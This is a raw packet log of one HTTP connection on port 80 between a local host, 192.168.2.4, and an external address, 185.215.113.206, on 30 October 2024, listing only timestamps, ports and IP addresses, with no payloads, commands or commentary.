Oct 30, 2024 20:13:30.562210083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.562211037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562222004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562232971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562233925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.562242985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562252998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562261105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.562263966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562274933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562278032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.562280893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562290907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562302113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562310934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.562336922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.680583000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.680612087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.680624962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.680660009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.680685043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.680701017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.680704117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.680712938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.680732965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.680757999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.680809021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.680928946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.680939913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.680978060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.681037903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681051016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681092024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.681180954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681193113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681205034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681216955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681226015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.681230068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681246042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.681271076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.681513071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681525946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681560040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.681572914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.681668997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681682110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681698084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681710005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681720972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681724072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.681734085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.681760073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.681778908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.682075977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682086945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682100058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682111025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682116032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.682122946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682140112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682151079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.682153940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682168007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682178974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.682198048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.682220936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.682657003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682670116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682682037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682693958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682706118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682707071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.682717085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682729959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.682739019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.682761908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.682779074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.683243036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683255911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683265924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683278084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683290005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683291912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.683300018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683321953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683322906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.683334112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683346033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683347940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.683358908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683367968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683372974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.683379889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.683391094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.683418036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.684094906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684107065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684118032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684129953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684140921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684144974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.684154034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684160948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.684166908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684175014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.684176922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684186935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684200048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684218884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.684222937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684227943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.684235096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684246063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.684262037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.684293985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.685090065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.685101986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.685112953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.685127020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.685138941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.685141087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.685148954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.685149908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.685182095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.803390026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.803436041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.803447962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.803478003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.803493977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.803567886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.803611040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.803678036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.803694963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.803706884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.803718090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.803719997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.803724051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.803739071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.803755045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.804059029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804070950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804083109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804092884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804102898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.804126978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.804269075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804338932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.804389954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804403067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804436922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.804524899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804537058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804548025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804560900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804567099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.804589033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.804614067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.804771900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804816008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.804858923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804869890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804881096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804893970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.804905891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.804935932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.805093050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.805141926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.805244923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.805257082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.805269957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.805283070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.805294037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.805295944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.805308104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.805319071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.805324078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.805336952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.805344105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.805351019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.805372000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.805391073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.806051016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806062937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806072950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806085110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806096077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806099892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.806119919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.806139946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806154966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806171894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806184053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806188107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.806195021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806200981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.806206942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806217909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.806238890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.806252956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.806278944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.807008982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807019949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807029963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807043076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807055950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807058096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.807066917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807076931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807085991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.807089090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807100058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807111025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.807111025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807122946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807128906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.807135105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807147026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807157993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.807185888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.807933092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807949066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807960033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807971954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807979107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.807984114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.807996988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.808005095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.808008909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.808020115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.808022022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.808032990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.808051109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.808360100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.926583052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.926618099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.926629066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.926712036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.926738977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.926785946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.926799059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.926876068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.927109957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927120924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927130938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927140951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927151918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927184105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.927201986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.927397013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927407980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927426100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927442074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927444935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.927453041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927463055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927468061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.927474022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927484989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927495003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.927495003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.927524090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.927540064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.928102970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928113937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928122997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928133965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928145885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928155899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928157091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.928168058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928190947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.928204060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.928622007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928632975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928643942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928653955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928666115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928669930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.928677082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928683043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928693056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928698063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.928704977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928715944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.928716898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.928730965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.928762913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.929421902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929433107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929442883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929454088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929466009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929472923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.929476023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929487944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929493904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.929500103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929512978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.929512978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929524899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929532051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.929537058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929548025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.929559946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.929585934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930494070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930505991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930516005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930526972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930536985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930545092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930548906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930560112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930561066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930577993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930608034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930782080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930794954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930804968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930816889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930828094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930838108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930862904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930882931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930893898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930903912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930913925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930924892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930932999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930938005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930949926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930954933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930962086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.930967093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.930985928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.931010008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.931777000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.931823969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.049974918 CET	80	49758	185.215.113.206	192.168.2.4
